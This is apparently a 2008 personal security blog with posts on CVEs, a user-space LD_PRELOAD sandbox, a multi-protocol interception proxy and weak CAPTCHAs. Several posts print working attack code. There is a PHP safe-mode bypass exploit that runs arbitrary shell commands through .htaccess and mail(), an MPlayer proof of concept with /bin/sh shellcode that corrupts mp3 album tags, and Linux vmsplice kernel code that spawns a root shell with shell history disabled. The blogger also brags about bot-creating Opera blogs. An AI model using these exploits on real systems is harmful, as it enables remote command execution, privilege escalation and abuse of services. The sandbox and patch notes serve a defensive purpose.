jueves, febrero 28, 2008

Opera Blogs antiautomatization system

Today I have reported to opera.com that they are using a weak/useless anti-automatization-system, well we can make a simple bot that creates hundreds of blogs :)

Look their anti-automatization "captcha":

http://my.opera.com/community/signup/


well, text security code so easy to collect.
More info at:
http://www.captcha.net/

cya.

miércoles, febrero 27, 2008

How to make a sandbox

A real sandbox should be a loadable kernel module, but we can easilly make one at user space by coding a lib in order to be preloaded after every execution.

gcc -fPIC sandwich.c -o sandwich.so -shared
export LD_PRELOAD=`pwd`/sandwich.so

now connect() and sento() are hooked, then we can exec our "unsafe" programs,
if they try to connect will be intercepted.

Well, this can be bypassed by calling directly the syscall or using not implemented functions.

// $ gcc -fPIC sandwich.c -o sandwich.so -shared
#define RTLD_NEXT ((void *) -1l)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <strings.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
//Real Calls
static int (*realConnect)(int sockfd,
const struct sockaddr *serv_addr,
socklen_t addrlen);
ssize_t (*realSendto)(int s,
const void *msg,
size_t len,
int flags,
const struct sockaddr *to,
socklen_t tolen);
//Hooked Calls
int connect(int sockfd,
const struct sockaddr *serv_addr,
socklen_t addrlen);
ssize_t sendto(int s,
const void *msg,
size_t len,
int flags,
const struct sockaddr *to,
socklen_t tolen);

int connect(int sockfd,
const struct sockaddr *serv_addr,
socklen_t addrlen) {
int opt;
struct sockaddr_in *s = (struct sockaddr_in *)serv_addr;

printf("Can I connect to %s:%d (Y/N)?",
inet_ntoa(s->sin_addr),s->sin_port);
opt = getchar();
if (opt=='S' || opt=='s' || opt=='y' || opt=='Y') {
realConnect = dlsym(RTLD_NEXT, "connect");
return realConnect(sockfd,serv_addr,addrlen);

} else {
printf("Cancelled ;)\n");
return -1;
}
}

ssize_t sendto(int s,
const void *msg,
size_t len,
int flags,
const struct sockaddr *to,
socklen_t tolen) {
int opt;
struct sockaddr_in *ss = (struct sockaddr_in *)to;

printf("Can I connect to %s:%d (Y/N)?",inet_ntoa(ss->sin_addr),ss->sin_port);
opt = getchar();
if (opt=='S' || opt=='s' || opt=='y' || opt=='Y') {
realSendto = dlsym(RTLD_NEXT, "sendto");
return realSendto(s,msg,len,flags,to,tolen);

} else {
printf("Cancelled ;)\n");
return -1;
}
}

martes, febrero 26, 2008

PHP SafeMode bypass (CVE-2007-3378)

Every week a new way to bypass php-safemode is released, it seemed funny, but this open_basedir Bypass is Scandalous.

If you try to exec some restricted call, safemode will stop-it.
Other way is to use php_value directive of .htaccess files (if httpd.conf is configured to allow httaccess)

So, you can break the safemode restrictions by adding php_value orders like that:

php_value include_path "some"
php_flag display_errors On
php_value upload_max_filesize 200M

for example:

echo php_value session.save_path /inne > .htaccess
session_start();

Exploit code:

# SecurityReason
# Coded by Maksymilian Arciemowicz
# (C) Copyright SecurityReason
# Affected Software : PHP 5.2.3 and prior
# Usage :
# ?cxib=dhr - Delete Delete .htaccess and result.txt
# ?sh=[our_command] - Execute the command
#
#variables
$htaccess="./.htaccess";
#variables
if(@mail("", "", "")==FALSE){
die("mail() function isn't active.");
}
if(!is_writable("./")){
die("This directory isn't writable.");
}
if($_GET['cxib']=="dhr"){
@unlink("./.htaccess");
@unlink("./result.txt");
}
$usun="";
if(file_exists("./result.txt") AND
file_exists("./.htaccess")){
$usun .= "<p><a
href=\"http://".$_SERVER["HTTP_HOST"].
$_SERVER["SCRIPT_NAME"]."?cxib=dhr\">Delet
e .htaccess and result.txt</a>";
}
$htmlstart="<HTML>
<HEAD>
<TITLE>SecurityReason Exploit - PHP 5.2.3 and
prior</TITLE>
</HEAD>
<BODY>";
$formtxt="<center><h1>Security<b><font
color=RED>R</font>eason</b></h1><p>Exp
loit for PHP 5.2.3 and
prior</p><B><CENTER><FONT
COLOR=\"RED\">C</FONT>oded by
<b>Maksymilian Arciemowicz</b>
".$usun."
<p>Form:<br>
<form
action=\"http://".$_SERVER["HTTP_HOST"].$_SER
VER["SCRIPT_NAME"]."\"
name=\"Form\" method=\"POST\">
sh# <input type=\"text\" name=\"sh\"
size=\"50\" value=\"\">
<input type=\"submit\" name=\"sent\"
value=\"Exec\">
</form>
</CENTER></B>";
$htmlend="</BODY>
</HTML>";
$path=dirname($_SERVER["SCRIPT_NAME"]);
if(empty($sh)){
if(empty($_GET['sh'])){
if(empty($_POST['sh'])){
echo $htmlstart.$formtxt;
if(file_exists("./result.txt")){
echo "<center><iframe
src=\"http://".$_SERVER["HTTP_HOST"].
$path."/result.txt\" height=300
width=1000></center>";
}
echo $htmlend;
exit();
} else {
$sh=$_POST['sh'];
}
} else {
$sh=$_GET['sh'];
}
}
if (!$handle = @fopen($htaccess, 'w')) {
echo "Cannot create
".$htaccess."<B>check your rights to this
directory.<P>. exit();";
exit;
}
$syntax="php_value mail.force_extra_parameters '-t
&& ".$sh." >
".dirname(__FILE__)."/result.txt'";
if (fwrite($handle, $syntax) === FALSE) {
echo "Cannot write to file
(".$htaccess.")";
exit;
}
if(!empty($_POST['sent'])){
@mail("", "", "Yeah");
sleep(2);
header("Location:
http://".$_SERVER["HTTP_HOST"].
$_SERVER["REQUEST_URI"]."?cxib=".date('s'));
exit();
}
?>

have fun.

viernes, febrero 22, 2008

Google Adsense is not a serious option

If you are thinking to put a GoogleAdsense, you must know some thinks about them:

If somebody attack your adsenses:
1. Google will close your account
2. Google will take money from your bank account!! They say "We will get the money you have earned"

Well, I suggest avoid google adsense.

miércoles, febrero 13, 2008

MPlayer Security

MPlayer started 2008 the wrong way, 3 dangerous security flaws has been reported.

* CVE-2008-0486 Stack overflow line 229 demux_audio.c
Attack Vector: .mov file header

ptr += 4;
comment = ptr;
+ if (&comment[length] < comments ||
&comment[length] >= &comments[blk_len])
+ return;
c = comment[length];
comment[length] = 0;


* CVE-2008-0629 Overflow stream/g
Attack Vector: Album title

strncpy(album_title, ptr, len);
album_title[len-2]='\0';


The -2 is wrong.


* CVE-2008-0630 Overflow url.c
Attack Vector: Long url will avoid the final \0

The most dangerous scenario is to publish a mp3 with a crafted album name, who listen this mp3 by cddp:// will be infected or reverse-shelled, then with the vmsplice exploit remote root will be

Recommendation: Always the same always, keep your software uptdated and audited!

I'm doing the POC:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

char sha0code[] =
"\xeb\x16\x5b\x31\xc0"
"\x50\x53\xb0\x0b\x89"
"\xdb\x89\xe1\x31\xd2"
"\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80\xe8"
"\xe5\xff\xff\xff\x2f"
"\x62\x69\x6e\x2f\x73\x68";

int checkIdent(char *ptr) {
if (ptr[0] == 'T' &&
ptr[1] == 'A' &&
ptr[2] == 'G')
return -1;
else
return 0;
}

int main (int argc, char **argv) {
char *mp3file;
int fd;
int bytes;
int i;
unsigned long map;
char *tag;
char *album;

if (argc != 2) {
printf("USAGE: %s FileToInjectTheExploit.mp3\n",argv[0]);
return 0;
}

//map mp3 to memory
fd = open(argv[1],O_RDWR);
bytes = lseek(fd,0,SEEK_END);
mp3file = (char *)malloc(bytes);
lseek(fd,0,SEEK_SET);
bytes = read(fd,mp3file,bytes);

//look for mp3 tag structure
for (i=bytes; i>100; i--) {
if (checkIdent(i+mp3file)) {
album = mp3file+i+3+30+30;
break;
}
}

//inject the evil string
printf("Album:%s\n",album);
memset(album,0x41,90);

//write changes
lseek(fd,0,SEEK_SET);
write(fd,mp3file,bytes);
close(fd);
free(mp3file);
}

MS08-004 CVE-2008-0084 Windows Vista remote reboot

If the attacker assign the broadcast address to multiples hosts with DHCP requests, the Microsoft Windows Vista's duplicate ip detection algorithm will try to erase the route-table this broadcast, address and then the system is reboted.

Security Fix

domingo, febrero 10, 2008

Linux vmsplice Local Root Exploit

Linux vmsplice syscall let a non-root user inject and execute code to the kernel.

Vulnerable kernels: Linux 2.6.17 - 2.6.24.1

It works ok in my Debian 2.6.18-4-486

The goal is inject this code to the kernel.
This loop, check the task_struct, if a process with the current uid and gid is found, then is setted to zero.
void    kernel_code()
{
int i;
uint *p = get_current();

for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
Then a root shell can be spawned:
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);

printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
kernel_code() is mapped and spliced to a pipe with _vmsplice(pi[1], &iov, 1, 0);
exit_code() is assigned to the SIGPIPE signal.

The Exploit Code.

The problem is at: /fs/splice.c copy_from_user_mmap_sem()

They have solved the problem by adding two access_ok() calls to check the permissions of the page(s) to copy.

The get_iovec_page_array() function, also need this access_ok() check, This monday this patch has been committed.

viernes, febrero 08, 2008

Multi Protocol Proxy

I have improved the visibility of my multi-protocol proxy.

This soft is useful if you want to analyze a protocol, or a daemon. Plug this stuff at the middle, point it to the daemon, and point the client to the proxy.



~ > sha0proxy.pl
/bin/sha0proxy.pl
modes: view trap

At view mode, you can view the comunication.
At trap mode you can interact with the communication.

download sha0proxy

-------- sha0proxy.pl ----------

#Proxy MultiProtocolo
#sha0proxy.pl v0.5 coded by sha0[@]badchecksum[.]net
#Private No distribuir!!
#TODO: capturar SIGINT
# ncurses para modificar los bytes directamente
# udp
# formato shellcode
# logear



#You have to install vncviewer, and the following perl modules:
#perl -MCPAN -e shell
#cpan>install threads
#...
#cpan>install IO::Socket
#...
#cpan>install IO::Select
#...

use IO::Socket;
use IO::Select;
#use Net::UDP;
my %color=(
red=>"\x1b[31;01m",
green=>"\x1b[32;02m",
yellow=>"\x1b[33;01m",
blue=>"\x1b[34;01m",
magenta=>"\x1b[35;01m",
cyan=>"\x1b[36;01m",
white=>"\x1b[37;00m"
);

die "$0 \nmodes: view trap\n" if (@ARGV!=4);
die "Valid modes are: view & trap\n" if ($ARGV[3] ne 'view' && $ARGV[3] ne 'trap');

#my $lport=(int(rand(500))+10000);
my $lport=$ARGV[0];
my $rport=$ARGV[2];
my $rhost=$ARGV[1];
my $buff;
my $vulnerable=0;
my $mode=$ARGV[3];

my $out;
my $in=IO::Socket::INET->new (
LocalAddr=>'0.0.0.0',
LocalPort=>$lport,
Proto=>'tcp',
Listen=>1,
Reuse=>100
) or die "cannot open port $!\n";

print "listening $lport port\n";


#print "\x1b[?25l"; #no cursor

while (my $welcome=$in->accept()) {
$out=IO::Socket::INET->new (
PeerAddr=>$rhost,
PeerPort=>$rport,
Timeout=>20
) or die "cannot connect $!\n";

print "connected to $rhost:$rport\n";
if (!fork()) {
$out->blocking(1);
$welcome->blocking(1);
$out->autoflush(1);
$welcome->autoflush(1);

$s=IO::Select->new($out, $welcome);
proxy:
while(1) {
my @ready = $s->can_read;
foreach my $ready (@ready) {
if($ready == $welcome) {
my $data;
$welcome->recv($data, 8192);
last proxy if (! length($data));
last proxy if(!$out || !$out->connected);
&muestra($data,1);
if ($mode ne 'view') {
print "=>>";
$cmd=;
chomp($cmd);
$data=sprintf(eval("\"$cmd\"")) if (length($cmd));
}
eval { $out->send($data); };
last proxy if $@;
} elsif ($ready == $out) {
my $data;
$out->recv($data, 8192);
last proxy if(!length($data));
last proxy if(!$welcome || !$welcome->connected);
&muestra($data,0);
if ($mode ne 'view') {
print "=<<";
$cmd=;
chomp($cmd);
$data=sprintf(eval("\"$cmd\"")) if (length($cmd));
}
eval { $welcome->send($data); };
last proxy if $@;
}
}#foreach

if (!$welcome || !$out) {
close $out;
close $welcome;
return;
}
}#while 1
} #fork

}
sub muestra {
my $data = $_[0];
my @bytes = split(//,$data);
my $b;
my $alserver = $_[1];
my $count=0;
my $str="";
my $lin=1;
print $color{white};
print ">"x33 if ($alserver);
print "<"x33 if (!$alserver);
print "\n |00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20|";
print "\n---+--------------------------------------------------------------+---\n";

print "000|";
foreach $b (@bytes) {
print $color{green} if (($b ge 'a' && $b le 'z') ||($b ge 'A' && $b le 'Z') || $b eq "\x20");
print $color{blue} if ($b ge '0' && $b le '9');
print $color{red} if ($b eq "\x00");
print $color{cyan} if ($b eq "\x0a" || $b eq "\x0d");
printf "%.2x ",ord($b);
print $color{white};
$b = "." if ($b lt "\x20" || $b gt "\x7e");

$count++;
$str.=$b;
if ($count==21) {

#$str=~s/[^a-z^A-Z^0-9^#^@^:^]/\./ig;

$count = 0;
printf "%s\n%.3d|",$str,$lin;
$lin++;
$str="";
}
}
$str=~s/[^a-z^A-Z^0-9^#^@]/\./ig;
for ($b=$count;$b<21;$b++){
print " ";
}
print $str."\n";
}

viernes, febrero 01, 2008

Xorg stack oveflow privilege scalation

If the user sets more number of visuals than the number of visuals of all screens, then the swap bucle can be abused.

Xext/EVI.c
ProcEVIGetVisualInfo(ClientPtr client)

+ for (i = 0; i < screenInfo.numScreens; i++)
+ total_visuals += screenInfo.screens[i]->numVisuals;
+ if (stuff->n_visual > total_visuals)
+ return BadValue;



more info soon.